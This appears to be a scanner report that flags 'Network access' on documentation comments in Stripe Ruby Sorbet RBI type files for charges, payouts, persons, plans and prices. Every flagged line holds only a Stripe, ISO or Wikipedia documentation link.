sig { returns(String) } def currency; end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 42
def currency; end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. sig { returns(Integer) } - Network accessline 43
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 52
end class AmountFailed < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 53
class AmountFailed < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(St - Network accessline 54
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 55
sig { returns(String) } def currency; end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 56
def currency; end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. sig { returns(Integer) } - Network accessline 57
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 66
end class AmountGuaranteed < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 67
class AmountGuaranteed < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { return - Network accessline 68
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 69
sig { returns(String) } def currency; end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 70
def currency; end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. sig { returns(Integer) } - Network accessline 71
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 80
end class AmountRefunded < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 81
class AmountRefunded < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns( - Network accessline 82
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 83
sig { returns(String) } def currency; end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 84
def currency; end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. sig { returns(Integer) } - Network accessline 85
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 94
end class AmountRequested < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 95
class AmountRequested < ::Stripe::StripeObject # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns - Network accessline 96
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 97
sig { returns(String) } def currency; end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 98
def currency; end # A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. sig { returns(Integer) } - Network accessline 99
# A positive integer representing the amount in the currency's [minor unit](https://docs.stripe.com/currencies#zero-decimal). For example, `100` can represent 1 USD or 100 JPY. - Network accessline 204
end class Affirm < ::Stripe::StripeObject # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. - Network accessline 205
class Affirm < ::Stripe::StripeObject # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. sig { returns(T.nilable(String)) } - Network accessline 206
# ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. - Network accessline 207
sig { returns(T.nilable(String)) } def location; end # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. - Network accessline 208
def location; end # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. sig { returns(T.nilable(String)) } - Network accessline 209
# ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. - Network accessline 426
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 427
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 428
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 438
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 439
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 440
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 756
sig { returns(T.nilable(String)) } def brand; end # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card. - Network accessline 757
def brand; end # The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card. sig { returns(T.nilable(String)) } - Network accessline 758
# The [product code](https://stripe.com/docs/card-product-codes) that identifies the specific program or product associated with a card. - Network accessline 762
sig { returns(T.nilable(Integer)) } def capture_before; end # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characte - Network accessline 763
def capture_before; end # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In s - Network accessline 764
# The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m - Network accessline 794
sig { returns(T.nilable(String)) } def iin; end # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization - Network accessline 795
def iin; end # Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api/payme - Network accessline 796
# Whether this [PaymentIntent](https://docs.stripe.com/api/payment_intents) is eligible for incremental authorizations. Request support using [request_incremental_authorization_support](https://docs.stripe.com/api/payment_intents/create#cre - Network accessline 1028
sig { returns(T.nilable(String)) } def brand; end # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and fir - Network accessline 1029
def brand; end # The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases - Network accessline 1030
# The cardholder name as read from the card, in [ISO 7813](https://en.wikipedia.org/wiki/ISO/IEC_7813) format. May include alphanumeric characters, special characters and first/last name separator (`/`). In some cases, the cardholder name m - Network accessline 1349
end class Paynow < ::Stripe::StripeObject # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. - Network accessline 1350
class Paynow < ::Stripe::StripeObject # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. sig { returns(T.nilable(String)) } - Network accessline 1351
# ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. - Network accessline 1352
sig { returns(T.nilable(String)) } def location; end # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. - Network accessline 1353
def location; end # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. sig { returns(T.nilable(String)) } - Network accessline 1354
# ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. - Network accessline 1564
sig { returns(T.nilable(String)) } def last4; end # Find the ID of the mandate used for this payment under the [payment_method_details.sepa_debit.mandate](https://docs.stripe.com/api/charges/object#charge_object-payment_meth - Network accessline 1565
def last4; end # Find the ID of the mandate used for this payment under the [payment_method_details.sepa_debit.mandate](https://docs.stripe.com/api/charges/object#charge_object-payment_method_details-sepa_debit-mandate) property on - Network accessline 1566
# Find the ID of the mandate used for this payment under the [payment_method_details.sepa_debit.mandate](https://docs.stripe.com/api/charges/object#charge_object-payment_method_details-sepa_debit-mandate) property on the Charge. Use this ma - Network accessline 1691
sig { returns(T.nilable(String)) } def fingerprint; end # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. - Network accessline 1692
def fingerprint; end # ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. sig { returns(T.nilable(String)) } - Network accessline 1693
# ID of the [location](https://docs.stripe.com/api/terminal/locations) that this transaction's reader is assigned to. - Network accessline 1694
sig { returns(T.nilable(String)) } def location; end # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. - Network accessline 1695
def location; end # ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. sig { returns(T.nilable(String)) } - Network accessline 1696
# ID of the [reader](https://docs.stripe.com/api/terminal/readers) this transaction was made on. - Network accessline 1885
sig { returns(T.nilable(Twint)) } def twint; end # The type of transaction-specific details of the payment method used in the payment. See [PaymentMethod.type](https://docs.stripe.com/api/payment_methods/object#payment_method_ob - Network accessline 1886
def twint; end # The type of transaction-specific details of the payment method used in the payment. See [PaymentMethod.type](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type) for the full list of possible - Network accessline 1887
# The type of transaction-specific details of the payment method used in the payment. See [PaymentMethod.type](https://docs.stripe.com/api/payment_methods/object#payment_method_object-type) for the full list of possible types. - Network accessline 2001
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2002
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 2003
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 2013
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 2014
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 2015
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 2084
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 2085
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T::Has - Network accessline 2086
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/payout.rbi
- Network accessline 6
# A `Payout` object is created when you receive funds from Stripe, or when you # initiate a payout to either a bank account or debit card of a [connected # Stripe account](https://docs.stripe.com/docs/connect/bank-debit-card-payouts). Y - Network accessline 7
# initiate a payout to either a bank account or debit card of a [connected # Stripe account](https://docs.stripe.com/docs/connect/bank-debit-card-payouts). You can retrieve individual payouts, # and list all payouts. Payouts are made on - Network accessline 8
# Stripe account](https://docs.stripe.com/docs/connect/bank-debit-card-payouts). You can retrieve individual payouts, - Network accessline 9
# and list all payouts. Payouts are made on [varying # schedules](https://docs.stripe.com/docs/connect/manage-payout-schedule), depending on your country and # industry. - Network accessline 10
# schedules](https://docs.stripe.com/docs/connect/manage-payout-schedule), depending on your country and - Network accessline 11
# industry. # # Related guide: [Receiving payouts](https://docs.stripe.com/payouts) - Network accessline 12
# # Related guide: [Receiving payouts](https://docs.stripe.com/payouts) class Payout < APIResource - Network accessline 13
# Related guide: [Receiving payouts](https://docs.stripe.com/payouts) - Network accessline 30
sig { returns(Integer) } def amount; end # The application fee (if any) for the payout. [See the Connect documentation](https://docs.stripe.com/connect/instant-payouts#monetization-and-fees) for details. - Network accessline 31
def amount; end # The application fee (if any) for the payout. [See the Connect documentation](https://docs.stripe.com/connect/instant-payouts#monetization-and-fees) for details. sig { returns(T.nilable(T.any(String, ::Stripe::Appli - Network accessline 32
# The application fee (if any) for the payout. [See the Connect documentation](https://docs.stripe.com/connect/instant-payouts#monetization-and-fees) for details. - Network accessline 33
sig { returns(T.nilable(T.any(String, ::Stripe::ApplicationFee))) } def application_fee; end # The amount of the application fee (if any) requested for the payout. [See the Connect documentation](https://docs.stripe.com/connect/inst - Network accessline 34
def application_fee; end # The amount of the application fee (if any) requested for the payout. [See the Connect documentation](https://docs.stripe.com/connect/instant-payouts#monetization-and-fees) for details. sig { returns(T.nila - Network accessline 35
# The amount of the application fee (if any) requested for the payout. [See the Connect documentation](https://docs.stripe.com/connect/instant-payouts#monetization-and-fees) for details. - Network accessline 39
sig { returns(Integer) } def arrival_date; end # Returns `true` if the payout is created by an [automated payout schedule](https://docs.stripe.com/payouts#payout-schedule) and `false` if it's [requested manually](https://stripe.com/ - Network accessline 40
def arrival_date; end # Returns `true` if the payout is created by an [automated payout schedule](https://docs.stripe.com/payouts#payout-schedule) and `false` if it's [requested manually](https://stripe.com/docs/payouts#manual-payouts). - Network accessline 41
# Returns `true` if the payout is created by an [automated payout schedule](https://docs.stripe.com/payouts#payout-schedule) and `false` if it's [requested manually](https://stripe.com/docs/payouts#manual-payouts). - Network accessline 48
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 49
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 50
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 60
sig { returns(T.nilable(T.any(String, ::Stripe::BalanceTransaction))) } def failure_balance_transaction; end # Error code that provides a reason for a payout failure, if available. View our [list of failure codes](https://docs.strip - Network accessline 61
def failure_balance_transaction; end # Error code that provides a reason for a payout failure, if available. View our [list of failure codes](https://docs.stripe.com/api#payout_failures). sig { returns(T.nilable(String)) } - Network accessline 62
# Error code that provides a reason for a payout failure, if available. View our [list of failure codes](https://docs.stripe.com/api#payout_failures). - Network accessline 72
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 73
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T.nila - Network accessline 74
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 75
sig { returns(T.nilable(T::Hash[String, String])) } def metadata; end # The method used to send this payout, which can be `standard` or `instant`. `instant` is supported for payouts to debit cards and bank accounts in certain countr - Network accessline 76
def metadata; end # The method used to send this payout, which can be `standard` or `instant`. `instant` is supported for payouts to debit cards and bank accounts in certain countries. Learn more about [bank support for Instant Payouts] - Network accessline 77
# The method used to send this payout, which can be `standard` or `instant`. `instant` is supported for payouts to debit cards and bank accounts in certain countries. Learn more about [bank support for Instant Payouts](https://stripe.com/do - Network accessline 87
sig { returns(T.nilable(String)) } def payout_method; end # If `completed`, you can use the [Balance Transactions API](https://docs.stripe.com/api/balance_transactions/list#balance_transaction_list-payout) to list all balance transa - Network accessline 88
def payout_method; end # If `completed`, you can use the [Balance Transactions API](https://docs.stripe.com/api/balance_transactions/list#balance_transaction_list-payout) to list all balance transactions that are paid out in this payout - Network accessline 89
# If `completed`, you can use the [Balance Transactions API](https://docs.stripe.com/api/balance_transactions/list#balance_transaction_list-payout) to list all balance transactions that are paid out in this payout. - Network accessline 122
# To send funds to your own bank account, create a new payout object. Your [Stripe balance](https://docs.stripe.com/api#balance) must cover the payout amount. If it doesn't, you receive an “Insufficient Funds” error. - Network accessline 124
# If your API key is in test mode, money won't actually be sent, though every other action occurs as if you're in live mode. # # If you create a manual payout on a Stripe account that uses multiple payment source types, you need to - Network accessline 125
# # If you create a manual payout on a Stripe account that uses multiple payment source types, you need to specify the source type balance that the payout draws from. The [balance object](https://docs.stripe.com/api#balance_object) deta - Network accessline 126
# If you create a manual payout on a Stripe account that uses multiple payment source types, you need to specify the source type balance that the payout draws from. The [balance object](https://docs.stripe.com/api#balance_object) details av
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/person.rbi
- Network accessline 6
# This is an object representing a person associated with a Stripe account. # # A platform can only access a subset of data in a person for an account where [account.controller.requirement_collection](https://docs.stripe.com/api/account - Network accessline 7
# # A platform can only access a subset of data in a person for an account where [account.controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) is `stripe`, which - Network accessline 8
# A platform can only access a subset of data in a person for an account where [account.controller.requirement_collection](https://docs.stripe.com/api/accounts/object#account_object-controller-requirement_collection) is `stripe`, which incl - Network accessline 9
# # See the [Standard onboarding](https://docs.stripe.com/connect/standard-accounts) or [Express onboarding](https://docs.stripe.com/connect/express-accounts) documentation for information about prefilling information and account onboardi - Network accessline 10
# See the [Standard onboarding](https://docs.stripe.com/connect/standard-accounts) or [Express onboarding](https://docs.stripe.com/connect/express-accounts) documentation for information about prefilling information and account onboarding s - Network accessline 42
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 43
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 44
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 54
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 55
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 56
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 68
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 69
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 70
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 97
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 98
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 99
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 200
sig { returns(T.nilable(String)) } def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 201
def city; end # Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). sig { returns(T.nilable(String)) } - Network accessline 202
# Two-letter country code ([ISO 3166-1 alpha-2](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)). - Network accessline 212
sig { returns(T.nilable(String)) } def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 213
def postal_code; end # State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). sig { returns(T.nilable(String)) } - Network accessline 214
# State, county, province, or region ([ISO 3166-2](https://en.wikipedia.org/wiki/ISO_3166-2)). - Network accessline 358
class Verification < ::Stripe::StripeObject class AdditionalDocument < ::Stripe::StripeObject # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 359
class AdditionalDocument < ::Stripe::StripeObject # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. sig { returns(T.nilable(T.any(String, ::Str - Network accessline 360
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 367
sig { returns(T.nilable(String)) } def details_code; end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 368
def details_code; end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. sig { returns(T.nilable(T.any(String, ::Stripe::File))) } - Network accessline 369
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 378
end class Document < ::Stripe::StripeObject # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 379
class Document < ::Stripe::StripeObject # The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. sig { returns(T.nilable(T.any(String, ::Stripe::File) - Network accessline 380
# The back of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 387
sig { returns(T.nilable(String)) } def details_code; end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 388
def details_code; end # The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. sig { returns(T.nilable(T.any(String, ::Stripe::File))) } - Network accessline 389
# The front of an ID returned by a [file upload](https://api.stripe.com#create_file) with a `purpose` value of `identity_document`. - Network accessline 409
sig { returns(T.nilable(Document)) } def document; end # The state of verification for the person. Possible values are `unverified`, `pending`, or `verified`. Please refer [guide](https://docs.stripe.com/connect/handling-api-ver - Network accessline 410
def document; end # The state of verification for the person. Possible values are `unverified`, `pending`, or `verified`. Please refer [guide](https://docs.stripe.com/connect/handling-api-verification) to handle verification updates. - Network accessline 411
# The state of verification for the person. Possible values are `unverified`, `pending`, or `verified`. Please refer [guide](https://docs.stripe.com/connect/handling-api-verification) to handle verification updates. - Network accessline 455
sig { returns(T.nilable(T::Array[String])) } def full_name_aliases; end # Information about the [upcoming new requirements for this person](https://docs.stripe.com/connect/custom-accounts/future-requirements), including what informa - Network accessline 456
def full_name_aliases; end # Information about the [upcoming new requirements for this person](https://docs.stripe.com/connect/custom-accounts/future-requirements), including what information needs to be collected, and by when. sig - Network accessline 457
# Information about the [upcoming new requirements for this person](https://docs.stripe.com/connect/custom-accounts/future-requirements), including what information needs to be collected, and by when. - Network accessline 482
sig { returns(T.nilable(String)) } def maiden_name; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a s - Network accessline 483
def maiden_name; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T.n - Network accessline 484
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/plan.rbi
- Network accessline 4
# typed: true module Stripe # You can now model subscriptions more flexibly using the [Prices API](https://api.stripe.com#prices). It replaces the Plans API and is backwards compatible to simplify your migration. - Network accessline 5
module Stripe # You can now model subscriptions more flexibly using the [Prices API](https://api.stripe.com#prices). It replaces the Plans API and is backwards compatible to simplify your migration. # - Network accessline 6
# You can now model subscriptions more flexibly using the [Prices API](https://api.stripe.com#prices). It replaces the Plans API and is backwards compatible to simplify your migration. - Network accessline 7
# # Plans define the base price, currency, and billing cycle for recurring purchases of products. # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and plans help you track pricing. Different physic - Network accessline 8
# Plans define the base price, currency, and billing cycle for recurring purchases of products. # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and plans help you track pricing. Different physical g - Network accessline 9
# [Products](https://api.stripe.com#products) help you track inventory or provisioning, and plans help you track pricing. Different physical goods or levels of service should be represented by products, and pricing options should be represe - Network accessline 11
# For example, you might have a single "gold" product that has plans for $10/month, $100/year, €9/month, and €90/year. # # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription) and mo - Network accessline 12
# # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription) and more about [products and prices](https://docs.stripe.com/products-prices/overview). class Plan < APIResource - Network accessline 13
# Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription) and more about [products and prices](https://docs.stripe.com/products-prices/overview). - Network accessline 65
sig { returns(Integer) } def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 66
def created; end # Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). sig { returns(String) } - Network accessline 67
# Three-letter [ISO currency code](https://www.iso.org/iso-4217-currency-codes.html), in lowercase. Must be a [supported currency](https://stripe.com/docs/currencies). - Network accessline 80
sig { returns(T::Boolean) } def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured - Network accessline 81
def livemode; end # Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. sig { returns(T.nila - Network accessline 82
# Set of [key-value pairs](https://docs.stripe.com/api/metadata) that you can attach to an object. This can be useful for storing additional information about the object in a structured format. - Network accessline 104
sig { returns(T.nilable(TransformUsage)) } def transform_usage; end # Default number of trial days when subscribing a customer to this plan using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_pl - Network accessline 105
def transform_usage; end # Default number of trial days when subscribing a customer to this plan using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan). sig { returns(T.nilable(Integer)) } - Network accessline 106
# Default number of trial days when subscribing a customer to this plan using [`trial_from_plan=true`](https://docs.stripe.com/api#create_subscription-trial_from_plan). - Network accessline 113
sig { returns(T.nilable(T::Boolean)) } def deleted; end # You can now model subscriptions more flexibly using the [Prices API](https://docs.stripe.com/api#prices). It replaces the Plans API and is backwards compatible to simplify yo - Network accessline 114
def deleted; end # You can now model subscriptions more flexibly using the [Prices API](https://docs.stripe.com/api#prices). It replaces the Plans API and is backwards compatible to simplify your migration. sig { - Network accessline 115
# You can now model subscriptions more flexibly using the [Prices API](https://docs.stripe.com/api#prices). It replaces the Plans API and is backwards compatible to simplify your migration.
packages/autoskills/skills-registry/generating-sorbet/reference/references/stripe-ruby/rbi/stripe/resources/price.rbi
- Network accessline 5
module Stripe # Prices define the unit cost, currency, and (optional) billing cycle for both recurring and one-time purchases of products. # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and price - Network accessline 6
# Prices define the unit cost, currency, and (optional) billing cycle for both recurring and one-time purchases of products. # [Products](https://api.stripe.com#products) help you track inventory or provisioning, and prices help you track - Network accessline 7
# [Products](https://api.stripe.com#products) help you track inventory or provisioning, and prices help you track payment terms. Different physical goods or levels of service should be represented by products, and pricing options should be - Network accessline 9
# For example, you might have a single "gold" product that has prices for $10/month, $100/year, and €9 once. # # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription), [create an invo - Network accessline 10
# # Related guides: [Set up a subscription](https://docs.stripe.com/billing/subscriptions/set-up-subscription), [create an invoice](https://docs.stripe.com/billing/invoices/create), and more about [products and prices](https://docs.stripe - Network accessline 11
